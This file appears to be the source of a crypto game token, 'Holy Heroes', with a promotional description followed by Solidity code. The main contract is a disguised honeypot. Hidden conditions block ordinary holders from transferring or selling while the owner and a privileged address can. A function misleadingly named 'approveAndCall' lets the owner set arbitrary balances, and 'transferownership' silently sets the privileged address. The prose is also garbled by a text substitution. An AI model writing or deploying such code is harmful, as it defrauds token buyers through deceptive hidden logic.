/*
Holy Heroes is the first Match-3 Puzzle and RPG Strategy NFT Game. The game does not only provide a relaxing and entertaining experience of the Match-3 genre but also keeps the RPG’s signature elements of exploring and looting. NFT is a perfect piece to make this game truly unique.
Holy Heroes has 2 main concepts: NFT game for players who are seeking NFT and focusing more on profit, and traditional game for players who are playing for fun and experience. Although tHLHRe two game models are well-developed with millions of gamers, they are almost separated from each other. 
One of the biggest goals of Holy Heroes is to create a gameplay that combines 2 features above and attracts all players from NFT and traditional games. People who want to make money can still not get bored while playing games, people who want to play games can still earn money. Thereby, the game itself can create a community that balances between playing and earning.

Game Story
Legend has it that, thousands of years ago, the Demon Lord traded his life to destroy the Stone of Stability, causing both of them to shatter. The stone fragments mingled with the demon lord's soul fragments to generate elemental shards that were scattered across the Earth.
Over the years, man has learned to harness the energy of tHLHRe discarded objects to benefit their life. There are, however, some creatures that have been tainted by the elemental fragments' dark power. Only by restoring the Stone of Stability can the world's order be rearranged. The quest begins in a far fishing village in the south.

Game Characters
Our story is built by a HLHR pool consisting of 29 Heroes with distinct personalities and power abilities.  Understanding your Heroes is the best tool to help you win a battle in the game.
Each HLHR is categorized into four races including Human, Beast, Forest, and Demon. However, different Heroes will have different base stats.

RPG Strategy
Holy Heroes focuses on more prominent RPG features: exploring and looting. It is more about how the characters evolve as they interact with the narrative. The nature of this progression and the choices users make mean that their abilities and journey may never be the same across multiple playgrounds.

Game Play
Basically, your goal is to keep your Heroes alive after killing all of the enemies. You need to match the items in the game board to make your Heroes attack. The longer the chain you make (in straight, diagonal, horizontal lines), the stronger the Heroes attack. In one battle, you need 4 Heroes at the same time to fight with the enemies. After the battle, your Heroes will lose their stamina and need time to recover before taking a new battle. 
Typically, the game's flow requires you to fight in battles, win, and get rewards such as HLHR, HLHR experience, etc to purchase things or upgrade Heroes. 

HLHR Upgrade
In order to upgrade a HLHR, you have to win the campaigns and use the HLHR token. The more upgraded Heroes are, the more strength and power they have. However, the subsequent upgrade will cost more than the previous ones.

HLHR Awaken
HLHR's strength will depend on their rarity, and how many times they are upgraded. However, once the HLHR reacHLHR the level limit, you will need to use the “awaken system” to help him break the limitation. To awaken the HLHR, you will have to use the token “HLHR”. 
This mechanism helps maintain the HLHR’s supply power and reduces the HLHR’s inflation rate and in-game inflation. Thus, the economy in the game always has a balance mechanism between the player and the number of Heroes generated. 
When you awaken your HLHR, you will be rewarded with a HLHR Shard (HRS).
Own a New HLHR
There are 4 ways to get a HLHR:
Trading: you can use token HLHR to buy on the Marketplace.
HLHR Box: you can luckily get a HLHR when you open the HLHR Box.
Staking: you can get a HLHR reward by staking tokens (within first 10 days from the day the Staking campaign launch HLHR).
Creating: new HLHR can be created by combining 4 HLHR Shards and HLHR token.
Campaign
The campaign is divided into chapters, each chapter is a location on the map consisting of many challenges and rewards hidden within. Players need to win at all milestones to complete a chapter and unlock the next ones.

Each chapter has diverse monsters, special bosses, and fascinating treasures for players to discover.


Daily Raid
After completing a chapter, bosses in that chapter will be unlocked. Every day players will have 1 chance to fight with a boss as they like. You will compete with other players to defeat the boss. The longer the players survive, the bigger the reward will be.

Tower
The player must pass through 100 floors in the Tower. After winning on each floor, players will be rewarded.

There will be a Boss every ten floors.
Tower will be operational for 30 days.

Top players who finish first and fastest will be rewarded with special prizes.


PvP
Each arena season will last 30 days, players will compete against each other to increase their rank in the arena. The higher your rank, the bigger reward you get.


Clan
A clan is an organized group of players that play together. Clan members will contribute to upgrading the clan. There will be skills that support the strength of all players in the clan.

Clan Maze is the maze that clan members need to fight together to unlock all the buttons.

Boss Clan: The clan's achievement will be the sum of all members' achievements. Compete with other clans for the higher rank.


Play And Earn

Play And Earn Model instead of Play To Earn Model, the game focuses more on the gameplay and increases the player’s experiences. Holy Heroes wants to bring the community the game battles which can give the players joy and financial success. 
Crypto HLHR
Crypto HLHR is a supportive feature that helps boost the Heroes’ strength by the Crypto movement. We will assign a crypto medal for each HLHR. Those cryptos will be the top powerful coins in the market such as BTC, ETH, or BNB, etc. The power of the HLHR will increase or decrease depending on the arbitrage of that cryptocurrency in real-time.

Low Inflation Rate
Holy Heroes has two types of tokens: pre-minted tokens and unlimited tokens.

HLHR token is known as the governance token and pre-minted tokens of Holy Heroes. The number of limited tokens released in the project can only be used to buy Heroes and HLHR boxes. The number of pre-minted tokens released has been decided at the beginning of the project, which means There will not be any situation of issuing more tokens during the whole process that might lead to token inflation.


HLHR Token
HLHR token is known as unlimited tokens that users earn when they win each game and can be used in in-game transactions. However, the problem is that when users win so many games that the unlimited tokens exceed the controllable number. The Holy Heroes Development Team has also prepared for that situation and developed the mechanism of using unlimited tokens for HLHR up-gradation, reducing the inflation rate in HLHR tokens.


HLHR Token
Besides, we also have a mechanism — the Upgrade System to manage the number of Heroes. For example, to level up each HLHR’s strength, they need to go through an up-gradation process. The subsequent upgrade will cost more than the previous ones. 

Therefore, it is only economical when players elevate Heroes to a defined level, as continuously using an old HLHR to make HLHR Shard will significantly increase costs. This mechanism helps maintain the HLHR’s supply power and reduces the HLHR’s inflation rate and in-game inflation. Thus, the economy in the game always has a balance mechanism between the player and the number of Heroes generated.

Earning Mechanism

Players can earn by:
Trading
Holy Heroes opens a marketplace for players to trade their Heroes with others. You can easily buy one from the marketplace to start a battle. The Heroes will have no standard prices because it depends on the level, appearance, race, and combat power of the Heroes. 

Players also can find and purchase other game items to boost their Heroes’ strength. 


Renting
The marketplace is not only for trading but also for rent. Players can rent out their Heroes from others for profit. The rental price will depend on the HLHR’s value in the market. 

HLHR Box
By opening the HLHR Box, players can receive valuable rare Heroes if they are lucky enough.


Reward
Players can earn the token via Quest, PvP, Tower Conquest, and Clan event.
*/
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract HolyHeroes {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}